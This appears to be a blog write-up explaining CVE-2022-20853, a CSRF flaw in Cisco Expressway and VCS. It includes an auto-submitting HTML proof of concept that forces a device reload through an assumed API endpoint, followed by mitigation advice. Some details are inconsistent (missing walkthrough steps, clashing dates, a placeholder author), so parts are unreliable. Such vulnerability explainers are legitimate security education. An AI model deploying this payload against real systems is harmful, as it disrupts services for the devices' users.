Date of Analysis: June 2024
Author: [Your Name/Handle]

Introduction

CVE-2022-20853 is a security vulnerability found in Cisco Expressway Series and Cisco TelePresence VCS devices. If you use these devices for video communications or management, this is a critical read.

This vulnerability allows a remote, unauthenticated attacker to perform a Cross-Site Request Forgery (CSRF) attack through the device’s REST API web interface. In simple terms: attackers can trick an authenticated user into executing unwanted actions—such as making the system reload—without the user's knowledge.

Let’s break this down, see how the attack works, and review fixes.

What is CVE-2022-20853?

Cisco’s *Expressway Series* and *VCS* are widely used for secure video communications and collaboration.
The REST API is intended for management tasks and automation.

Root cause:
The web-based REST API interface lacks proper CSRF protection, such as CSRF tokens, on sensitive actions like reloads.

How Does the Attack Work?

A CSRF attack tricks a logged-in user (usually an admin) into unknowingly sending unwanted requests to the REST API. For Cisco Expressway, this could result in reboots or configuration changes.

Real-World Scenario:
Imagine an admin is logged into the Cisco management web interface. If an attacker gets them to click a malicious link (via phishing email, chat, etc.), the attacker could send an unauthorized API request—like a POST to restart the system.

The admin, already authenticated to the Expressway system, visits the page.

3. The browser sends the attacker-crafted command to the Expressway system, abusing the admin’s session.

Exploit Example: How an Attack Could Be Crafted

> Warning: This code is for educational purposes only. Do not test against systems you do not own!

Suppose the REST API endpoint to restart the device is /api/v1/system/reload with a POST request. Cisco did not implement CSRF tokens, so the browser will accept crafted requests.

Malicious HTML (Classic CSRF Form)

<!DOCTYPE html>
<html>
<head>
  <title>Malicious CSRF Reload Attack</title>
</head>
<body>
  <form id="csrf_form" action="https://cisco-expressway.internal/api/v1/system/reload"; method="POST">
    <!-- Hidden fields, if any, can be added here -->
  </form>
  <script>
    // Submit form automatically when page loads
    document.getElementById('csrf_form').submit();
  </script>
  <p>If you see this text, the attack was attempted.</p>
</body>
</html>

How it works:

The JavaScript auto-submits the form to the REST API reload endpoint.

- Browser sends the admin’s cookies/session, and the system restarts.

Note: The actual endpoint and parameters may differ. Check your system’s API documentation.

Downtime: Forced reload = service disruption for all users.

- Potential for more: If other sensitive actions lack CSRF protection, configuration could be altered.
- No authentication needed: The attacker just needs the admin to be authenticated in their browser—no need to break credentials.

Official References

- Cisco Security Advisory on CVE-2022-20853
- National Vulnerability Database (NVD) Entry

How to Protect Yourself

Cisco has released fixes.

Exclusive Takeaways

- Many web interfaces in enterprise hardware lack basic CSRF protection—ALWAYS keep appliances updated.

REST APIs, meant for automation, must implement CSRF tokens and same-origin checks.

- As a best practice, admins should avoid browsing untrusted sites while logged in to sensitive systems.

Disable or restrict API access to trusted networks only.

Summary:
CVE-2022-20853 shows that even big enterprise vendors can overlook simple web security basics. While the window for attack is narrow (needs user to click a link while authenticated), the potential for disruption is high.

Further Reading

- OWASP Cross-Site Request Forgery (CSRF) Page
- Cisco Product Security Incident Response Team (PSIRT)

Timeline

Published on: 11/15/2024 15:27:23 UTC